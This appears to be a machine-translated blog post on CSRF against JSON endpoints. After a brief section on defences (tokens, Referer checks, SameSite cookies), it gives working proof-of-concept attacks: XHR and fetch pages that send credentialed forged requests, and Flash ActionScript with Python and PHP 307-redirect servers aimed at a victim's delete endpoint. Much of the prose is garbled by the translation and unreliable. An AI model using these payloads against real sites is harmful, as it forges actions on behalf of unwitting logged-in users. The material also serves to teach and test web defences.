Talk about CSRF attacks in Json format

Creative Commons License Copyright: Attribution, allow others to create paper-based, and must distribute paper (based on the original license agreement with the same license Creative Commons )

A, CSRF vulnerabilities Profile

Causes csrf vulnerability is the cookie does not expire site in the browser, they do not close your browser or log out after that as long as the access to this website, you are already logged in by default. In this period, the attacker sends the constructed csrf script or contain links csrf script, you may want to do some users to perform functions (such as adding accounts, etc.). This operation is not the user really wants to perform.

In the post Standardization (accounts = test & password = aaa) format form page, under the premise of no csrf protection, we can easily construct a page to achieve the attack, but in json format, csrf attack how to achieve it?

That why we can not use this PoC conventional structure to take advantage of JSON endpoints CSRF it? For the following reasons:

1, POSTbody JSON format needs to be transmitted, whereas if this format to build an HTML form element would be more troublesome.

2, Content-Type header should be set to application / json. Header requires the use of custom settings XMLHttpRequests, but it also sends the preflight OPTIONS request to the server.

1.1 Defense Program

On defense programs in general are the following:

1) a user authentication operation, when submitting data need to enter codes

2) referer origin authentication request, authentication request sources

3) Forms authentication token

Now the industry defense against CSRF, consistent practice is to use a Token (Anti CSRF Token).

The value of the Token must be random and unpredictable. Due to the presence of Token, the attacker can no longer be constructed with a legitimate request Token implementation of CSRF attacks. Further use Token Token should pay attention to privacy, try the GET by the sensitive operation to the POST, submitted form or in the form of AJAX, Token avoid leakage.

example:

The first step: the user access to a form page.

Step two: a server generates the Token, in the user's Session, the browser or the Cookie.

The third step: in page form accompanying the Token parameter.

Step 4: After a user submits a request, the server validation in the form of Token is consistent with the user Session (or Cookies) Token, the same as a legitimate request, it is not illegal request.

  1. Separating the rear end of the preceding premise (e.g. using ajax submit data) can not be set token, can be added to the cookie SameSite properties, which may be labeled by this attribute cookie only as a cookie with the station (i.e., first-party cookie, not as a third party cookie ), since when can not as a third party cookie, then other sites launched a third-party request, a third-party site is not receiving the key marked cookie, the authentication process behind easier to handle. None of this needs to be done token life cycle management, do not worry Referer be lost or midway been tampered with.

SameStie has two values: Strict and Lax:

SameSite = Strict strict mode, using labeled SameSite = Strict cookie under any circumstances (including synchronous and asynchronous request requests), can not be used as a third-party cookie.

SameSite = Lax relaxed mode, the SameSite Lax cookie = marked jump at the submissions and asynchronous request form, can not be used as a third-party cookie.

Strict Lax and then how to use it?

The key cookie login state can be set to Strict.

Background According to the user's login state can be used to dynamically create a new login cookie check state, is set to Lax, so external promotion such as micro-blog or something, you want the user to open your link but also to maintain login state on microblogging.

If your page is likely to be a third-party website or iframe has an interface needs to be done jsonp, you can not set Strict or Lax.
Second, the case does not verify the CONTENT-TYPE

If the server does not check Content-Type, or not strictly check whether the Content-Type application / json, we can use the XHR to achieve csrf, poc as follows:

<html>
 <head>
 <script style="text/javascript">
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
    }
   </script>
 </head>
  <body>
    
    <form action="#">
      <input type="button" value="Submit request" onClick="submitRequest()"/>
    </form>
  </body>
  
</html>

Third, the verification of the CONTENT-TYPE

Of course, using XMLHttpRequest, fetch JSON request can be constructed, and can be provided Content-Type, but not across domains.

fetch initiated request code:

<html>
<title>JSON CSRF POC</title>
<script>
    fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>

</form>
</html>

We can use Flash's cross-domain with 307 jumps to bypass restrictions http custom header, with the difference between the 307 other 3XX HTTP status codes is that, HTTP 307 redirect can be sure that after the request, and the request body does not request method any change. HTTP 307 and HTTP POST body will be redirected to our head specified final URL, and complete the attack.

3.1 Create a flash file

In order to be able to send csrf.swf create Web documents requested, we need to follow these steps:

ActionScript is compiled into the installation FlexSDK swf file. Flex 32 to install the JVM, this step 32 may be mounted to complete the JDK.

The following ActionScript code to create a file that contains the text, the file name csrf.as .

Getting managed hosting Flash file system (the attacker's server) IP address / domain name and replace code.

Run "mxmlc csrf.as " command, the file is compiled into csrf.swf.

3.2 Creating web server

1, using python as a server (this method is not recommended):

First created as a file, compiled with the above steps:

package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
  public class csrf extends Sprite
  {
    public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 ={"id":102};
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String = "http://172.16.11.110:8000/";
      var request:URLRequest = new URLRequest(url);
      request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = new URLLoader();
   try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
}

With json-flash-csrf-poc on GitHub, we can generate a simple python web server

pyserver.py:

import BaseHTTPServer
import time
import sys

HOST = '' 
PORT = 8000

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_POST(s):
       # dir(s)
        if s.path == '/csrf.swf':
           s.send_response(200)
           s.send_header("Content-Type","application/x-shockwave-flash")
           s.end_headers()
           s.wfile.write(open("csrf.swf", "rb").read())
           return 
        s.send_response(307)
        s.send_header("Location", "https://victim-site/userdelete")
        s.end_headers()
    def do_GET(s):
        print(s.path)
        s.do_POST()
    
if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST, PORT), RedirectHandler)
    print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

2, using the apache php page (the preferred method) as a server:

We can also use php as the server 307 jumps, reference swf_json_csrf on GitHub.

csrf.as:

package
{
   import flash.display.Sprite;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   import flash.net.URLRequestHeader;
   import flash.net.URLRequestMethod;
   
   public class csrf extends Sprite
   {
       
      
      public function csrf()
      {
         super();
         var myJson:String = this.root.loaderInfo.parameters.jsonData;
         var url:String = this.root.loaderInfo.parameters.php_url;
         var endpoint:String = this.root.loaderInfo.parameters.endpoint;
         var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
         var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
         request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
         request.data = myJson;
         request.method = URLRequestMethod.POST;
         var urlLoader:URLLoader = new URLLoader();
         try
         {
            urlLoader.load(request);
            return;
         }
         catch(e:Error)
         {
            trace(e);
            return;
         }
      }
   }
}

307.php:

<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307)
?>

Finally poc used are:

http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json

Fourth, to further explore

When the POC last visit, the process is as follows:

1, a victim to visit POC, swf to initiate a request to attacter.com, swf send an HTTP POST request to 307.php.

2, attacter.com 307 initiates the 307.php jump, jump to victim.com , attention will jump with a jump 307 http request mode, header and postdata.

3, victim.com receives a POST request, and the Content-Type is application / json.

4, victim.com /crossdomain.xml receive a request. As the third step is the fourth step execution priority, leading to cross-domain. And victim.com to receive crossdomain.xml request, also proved POST request third step is the Flash issue, rather than 307.php issue. Because a separate request issued 307.php post not actively request crossdomain.xml.

We know, Flash server A If you want to initiate an HTTP request, it will first request crossdomain.xml file server B determines whether a cross-domain, if there is no file or xml file settings can not be cross-domain, you can not cross-domain B.

Since you can set the Content-Type, then you can set the Referer. If so, you would not be able to verify the CSRF Referer bypass?

In fact, there is a blacklist of Flash Header, head blacklist allowed to set, among them Referer. Headers can not be set as follows:

Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。

Fifth, the actual test results

This flash + 307 bounce attack methods can only be applied in older browsers, updated version of 2018 after almost all browsers, 307 jumps when the Content-Type did not pass in the past which led to csrf attack failed. So look to find a new method of attack, json csrf attack methods herein are merely used as a recording, or in some cases to use.

Guess you like

Origin blog.csdn.net/kclax/article/details/93908721